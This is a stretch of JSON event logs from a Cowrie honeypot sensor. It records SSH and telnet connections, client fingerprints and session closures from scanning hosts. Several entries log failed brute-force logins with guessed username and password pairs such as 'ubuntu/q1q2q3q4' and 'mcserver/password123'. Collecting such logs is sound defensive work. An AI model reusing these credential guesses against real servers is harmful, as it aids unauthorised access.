{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:18.702081Z","src_ip":"156.232.13.218","session":"2f3ef4869e08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.6318085193634,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:18.772746Z","src_ip":"38.54.119.93","session":"3aa99e52e138","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1q2q3q4","message":"login attempt [ubuntu/q1q2q3q4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:19.011196Z","src_ip":"156.232.13.218","session":"2f3ef4869e08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55210,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d8949a3dd53","protocol":"telnet","message":"New connection: 62.210.97.77:55210 (10.17.0.5:23) [session: 5d8949a3dd53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:19.076208Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55218,"dst_ip":"10.17.0.5","dst_port":23,"session":"e75c3837e4b2","protocol":"telnet","message":"New connection: 62.210.97.77:55218 (10.17.0.5:23) [session: e75c3837e4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:19.211131Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":48604,"dst_ip":"159.203.135.109","dst_port":23,"session":"264cab3b93c1","protocol":"telnet","message":"New connection: 94.156.33.203:48604 (159.203.135.109:23) [session: 264cab3b93c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:19.458493Z"}
{"eventid":"cowrie.session.closed","duration":39.36420750617981,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:19.981454Z","src_ip":"62.210.97.77","session":"42f2a10e826a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48164,"dst_ip":"10.17.0.5","dst_port":23,"session":"123427dbd5bf","protocol":"telnet","message":"New connection: 65.60.27.33:48164 (10.17.0.5:23) [session: 123427dbd5bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:20.045991Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:20.086411Z","src_ip":"156.232.13.218","session":"2f3ef4869e08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60284,"dst_ip":"10.17.0.5","dst_port":23,"session":"848d873f888f","protocol":"telnet","message":"New connection: 38.54.119.93:60284 (10.17.0.5:23) [session: 848d873f888f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:20.361804Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55232,"dst_ip":"10.17.0.5","dst_port":23,"session":"82c130e5b815","protocol":"telnet","message":"New connection: 62.210.97.77:55232 (10.17.0.5:23) [session: 82c130e5b815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:20.761430Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60592,"dst_ip":"10.17.0.5","dst_port":23,"session":"93a7613a15a4","protocol":"telnet","message":"New connection: 38.54.119.93:60592 (10.17.0.5:23) [session: 93a7613a15a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:20.775420Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49222,"dst_ip":"10.17.0.5","dst_port":23,"session":"36238c2c93c4","protocol":"telnet","message":"New connection: 65.60.27.33:49222 (10.17.0.5:23) [session: 36238c2c93c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:20.793114Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55246,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdc1cb6f9d14","protocol":"telnet","message":"New connection: 62.210.97.77:55246 (10.17.0.5:23) [session: fdc1cb6f9d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:21.706242Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55262,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0c95eac3221","protocol":"telnet","message":"New connection: 62.210.97.77:55262 (10.17.0.5:23) [session: c0c95eac3221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:22.232038Z"}
{"eventid":"cowrie.session.closed","duration":33.57390475273132,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:22.788739Z","src_ip":"62.210.97.77","session":"7d00b79930ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55270,"dst_ip":"10.17.0.5","dst_port":23,"session":"bca8ab925846","protocol":"telnet","message":"New connection: 62.210.97.77:55270 (10.17.0.5:23) [session: bca8ab925846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:23.282818Z"}
{"eventid":"cowrie.session.closed","duration":30.892996311187744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:23.590841Z","src_ip":"62.210.97.77","session":"50136cb9c36b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55280,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d1ad9ac7874","protocol":"telnet","message":"New connection: 62.210.97.77:55280 (10.17.0.5:23) [session: 7d1ad9ac7874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:26.735495Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":35776,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ac5234be7f3","protocol":"ssh","message":"New connection: 103.189.235.176:35776 (159.203.135.109:22) [session: 0ac5234be7f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:26.889461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:26.894094Z","src_ip":"103.189.235.176","session":"0ac5234be7f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:27.128180Z","src_ip":"103.189.235.176","session":"0ac5234be7f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55284,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d34e926c653","protocol":"telnet","message":"New connection: 62.210.97.77:55284 (10.17.0.5:23) [session: 3d34e926c653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:27.994458Z"}
{"eventid":"cowrie.login.failed","username":"vhserver","password":"12345","message":"login attempt [vhserver/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:28.111303Z","src_ip":"103.189.235.176","session":"0ac5234be7f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56380,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad8e05a9c39f","protocol":"telnet","message":"New connection: 65.60.27.33:56380 (10.17.0.5:23) [session: ad8e05a9c39f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:28.327904Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55296,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec3dd7921dad","protocol":"telnet","message":"New connection: 62.210.97.77:55296 (10.17.0.5:23) [session: ec3dd7921dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:28.360997Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":42152,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6eb7c2e56ee","protocol":"telnet","message":"New connection: 94.156.33.203:42152 (159.203.135.109:23) [session: c6eb7c2e56ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:28.503205Z"}
{"eventid":"cowrie.session.closed","duration":31.539602994918823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:29.251192Z","src_ip":"62.210.97.77","session":"f7529a0a6cc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:29.349269Z","src_ip":"103.189.235.176","session":"0ac5234be7f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.344144344329834,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:29.609699Z","src_ip":"94.156.33.203","session":"a9e45085d058","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.487003564834595,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:30.035368Z","src_ip":"62.210.97.77","session":"5befd168e3ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.09674382209778,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:30.863141Z","src_ip":"62.210.97.77","session":"acd1b6ad32de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33072,"dst_ip":"10.17.0.5","dst_port":23,"session":"72b76b775e4b","protocol":"telnet","message":"New connection: 65.60.27.33:33072 (10.17.0.5:23) [session: 72b76b775e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:31.466460Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":17204,"dst_ip":"10.17.0.5","dst_port":22,"session":"327a198abecc","protocol":"ssh","message":"New connection: 190.129.122.12:17204 (10.17.0.5:22) [session: 327a198abecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:31.735267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:31.739552Z","src_ip":"190.129.122.12","session":"327a198abecc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:31.910483Z","src_ip":"190.129.122.12","session":"327a198abecc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59762,"dst_ip":"10.17.0.5","dst_port":23,"session":"41afa53c0bc9","protocol":"telnet","message":"New connection: 62.210.97.77:59762 (10.17.0.5:23) [session: 41afa53c0bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:31.980241Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.198.206","src_port":59028,"dst_ip":"10.17.0.5","dst_port":22,"session":"41bd9e240d5c","protocol":"ssh","message":"New connection: 45.78.198.206:59028 (10.17.0.5:22) [session: 41bd9e240d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:32.321864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:32.326479Z","src_ip":"45.78.198.206","session":"41bd9e240d5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"password123","message":"login attempt [mcserver/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:32.625933Z","src_ip":"190.129.122.12","session":"327a198abecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.202231407165527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:33.073526Z","src_ip":"94.156.33.203","session":"525177db7982","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:33.799497Z","src_ip":"190.129.122.12","session":"327a198abecc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:34.005363Z","src_ip":"45.78.198.206","session":"41bd9e240d5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59766,"dst_ip":"10.17.0.5","dst_port":23,"session":"6407a9a6de06","protocol":"telnet","message":"New connection: 62.210.97.77:59766 (10.17.0.5:23) [session: 6407a9a6de06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:34.608038Z"}
{"eventid":"cowrie.session.closed","duration":33.58678078651428,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:35.846914Z","src_ip":"62.210.97.77","session":"dc046a867642","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"777777777","message":"login attempt [ubuntu/777777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:35.970588Z","src_ip":"45.78.198.206","session":"41bd9e240d5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39524,"dst_ip":"10.17.0.5","dst_port":23,"session":"57c043be9c6d","protocol":"telnet","message":"New connection: 65.60.27.33:39524 (10.17.0.5:23) [session: 57c043be9c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:37.058698Z"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:37.212793Z","src_ip":"45.78.198.206","session":"41bd9e240d5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":47492,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7da8b859f52","protocol":"telnet","message":"New connection: 165.232.131.181:47492 (10.17.0.5:23) [session: e7da8b859f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:38.555699Z"}
{"eventid":"cowrie.session.closed","duration":31.043887853622437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:39.177561Z","src_ip":"94.156.33.203","session":"60195c90eb8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34572,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0954c6497e6","protocol":"telnet","message":"New connection: 62.210.97.77:34572 (10.17.0.5:23) [session: f0954c6497e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:39.595765Z"}
{"eventid":"cowrie.session.closed","duration":35.76999306678772,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:40.307166Z","src_ip":"62.210.97.77","session":"8d627676a919","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.83590579032898,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:40.693806Z","src_ip":"62.210.97.77","session":"ac22e941433f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":50356,"dst_ip":"159.203.135.109","dst_port":23,"session":"e33e683d73a6","protocol":"telnet","message":"New connection: 94.156.33.203:50356 (159.203.135.109:23) [session: e33e683d73a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:40.988727Z"}
{"eventid":"cowrie.session.closed","duration":37.34387397766113,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:41.980598Z","src_ip":"62.210.97.77","session":"79f3abb7bd6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34586,"dst_ip":"10.17.0.5","dst_port":23,"session":"22e02d1bca1a","protocol":"telnet","message":"New connection: 62.210.97.77:34586 (10.17.0.5:23) [session: 22e02d1bca1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:42.448869Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46468,"dst_ip":"10.17.0.5","dst_port":23,"session":"768aa7738eb3","protocol":"telnet","message":"New connection: 38.54.119.93:46468 (10.17.0.5:23) [session: 768aa7738eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:43.053803Z"}
{"eventid":"cowrie.session.closed","duration":30.98894739151001,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:43.110549Z","src_ip":"94.156.33.203","session":"d88c8545a152","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50440,"dst_ip":"10.17.0.5","dst_port":23,"session":"7df2112f2f58","protocol":"telnet","message":"New connection: 165.232.131.181:50440 (10.17.0.5:23) [session: 7df2112f2f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:43.194586Z"}
{"eventid":"cowrie.session.closed","duration":56.93601036071777,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:43.403609Z","src_ip":"134.209.8.29","session":"bf6b6478ffcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":46892,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5dda9e6eef4","protocol":"telnet","message":"New connection: 65.60.27.33:46892 (10.17.0.5:23) [session: d5dda9e6eef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:43.751752Z"}
